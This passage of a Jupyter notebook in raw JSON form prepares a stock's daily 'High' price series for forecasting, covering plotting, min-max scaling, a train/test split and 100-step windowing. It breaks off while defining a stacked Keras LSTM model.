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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(15,6))\n", + "\n", + "df_high=stock_df.reset_index()['High']\n", + "plt.plot(df_high, c=\"g\")\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": 10, + "metadata": { + "id": "02EZuFq-H4Qc" + }, + "outputs": [ + { + "ename": "ModuleNotFoundError", + "evalue": "No module named 'sklearn'", + "output_type": "error", + "traceback": [ + "\u001b[1;31m---------------------------------------------------------------------------\u001b[0m", + "\u001b[1;31mModuleNotFoundError\u001b[0m Traceback (most recent call last)", + "\u001b[1;32m~\\AppData\\Local\\Temp/ipykernel_9348/2170990525.py\u001b[0m in \u001b[0;36m\u001b[1;34m\u001b[0m\n\u001b[1;32m----> 1\u001b[1;33m \u001b[1;32mfrom\u001b[0m \u001b[0msklearn\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mpreprocessing\u001b[0m \u001b[1;32mimport\u001b[0m \u001b[0mMinMaxScaler\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0m\u001b[0;32m 2\u001b[0m \u001b[0mscaler\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mMinMaxScaler\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mfeature_range\u001b[0m \u001b[1;33m=\u001b[0m \u001b[1;33m(\u001b[0m\u001b[1;36m0\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n\u001b[0;32m 3\u001b[0m \u001b[0mdf_high\u001b[0m \u001b[1;33m=\u001b[0m \u001b[0mscaler\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mfit_transform\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mnp\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0marray\u001b[0m\u001b[1;33m(\u001b[0m\u001b[0mdf_high\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m.\u001b[0m\u001b[0mreshape\u001b[0m\u001b[1;33m(\u001b[0m\u001b[1;33m-\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m,\u001b[0m\u001b[1;36m1\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m)\u001b[0m\u001b[1;33m\u001b[0m\u001b[1;33m\u001b[0m\u001b[0m\n", + "\u001b[1;31mModuleNotFoundError\u001b[0m: No module named 'sklearn'" + ] + } + ], + "source": [ + "from sklearn.preprocessing import MinMaxScaler\n", + "scaler = MinMaxScaler(feature_range = (0,1))\n", + "df_high = scaler.fit_transform(np.array(df_high).reshape(-1,1))" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "sYABCwpuH4Sy", + "outputId": "1d3ba3b9-d42a-4646-9965-45a51ed30087" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(2035, 1)" + ] + }, + "execution_count": 13, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "df_high.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "_oCy4h_LH4WY", + "outputId": "77cbb092-4d17-43e7-ca13-5eb80ea06277" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[[0.62268754]\n", + " [0.62614353]\n", + " [0.6391543 ]\n", + " ...\n", + " [0.15917869]\n", + " [0.15938199]\n", + " [0.16344786]]\n" + ] + } + ], + "source": [ + "print(df_high)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "7iCWojm1IMrH" + }, + "source": [ + "**Train Test Split**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "Pb1niQqxIJ3O" + }, + "outputs": [], + "source": [ + "training_size = int(len(df_high) * 0.75)\n", + "test_size = len(df_high) - training_size\n", + "train_data, test_data = df_high[0:training_size,:], df_high[training_size:len(df_high),:1]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "lZYRx4uxIJ8A", + "outputId": "44ed1d10-b4e4-4364-8e49-42df47174c83" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(1526, 509)" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "training_size,test_size" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "vC1N6RXaIzGO" + }, + "source": [ + "**Data Preprocessing** " + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "5gT7tzOoIJ_N" + }, + "outputs": [], + "source": [ + "def create_dataset(dataset, time_step = 1):\n", + " dataX, dataY = [], []\n", + " for i in range(len(dataset) - time_step - 1):\n", + " a = dataset[i:(i+time_step), 0]\n", + " dataX.append(a)\n", + " dataY.append(dataset[i+time_step, 0])\n", + " return np.array(dataX), np.array(dataY)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "xmsEj2O_IKFg" + }, + "outputs": [], + "source": [ + "time_step = 100\n", + "x_train, y_train = create_dataset(train_data, time_step)\n", + "x_test, y_test = create_dataset(test_data, time_step)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "BVL3wqvzJUQ2" + }, + "source": [ + "**LSTM**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "H8oLF3RmJS6-" + }, + "outputs": [], + "source": [ + "x_train = x_train.reshape(x_train.shape[0], x_train.shape[1], 1)\n", + "x_test = x_test.reshape(x_test.shape[0], x_test.shape[1], 1)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "mFPtaq5oJS-I", + "outputId": "b407de28-46f4-4023-b87f-c045c802405e" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(1425, 100, 1)\n", + "(1425,)\n" + ] + }, + { + "data": { + "text/plain": [ + "(None, None)" + ] + }, + "execution_count": 20, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(x_train.shape), print(y_train.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "V5K8ef1QJTB-", + "outputId": "10dfaea7-189a-4662-8903-4a7bd324d221" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(408, 100, 1)\n", + "(408,)\n" + ] + }, + { + "data": { + "text/plain": [ + "(None, None)" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "print(x_test.shape), print(y_test.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "FWJ6CJL4Jh_2" + }, + "outputs": [], + "source": [ + "import math\n", + "from sklearn.metrics import mean_squared_error\n", + "import tensorflow as tf\n", + "from tensorflow.python.keras.models import Sequential\n", + "from tensorflow.python.keras.layers import Dense\n", + "from tensorflow.python.keras.layers import LSTM" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4fEwqjyKJtvF" + }, + "outputs": [], + "source": [ + "model = Sequential()\n", + "model.add(LSTM(50, return_sequences = True, input_shape = (100,1)))\n", + "model.add(LSTM(50, return_sequences = True))\n", + "model.add(LSTM(50))\n", + "model.add(Dense(1))\n", + "model.compile(loss = 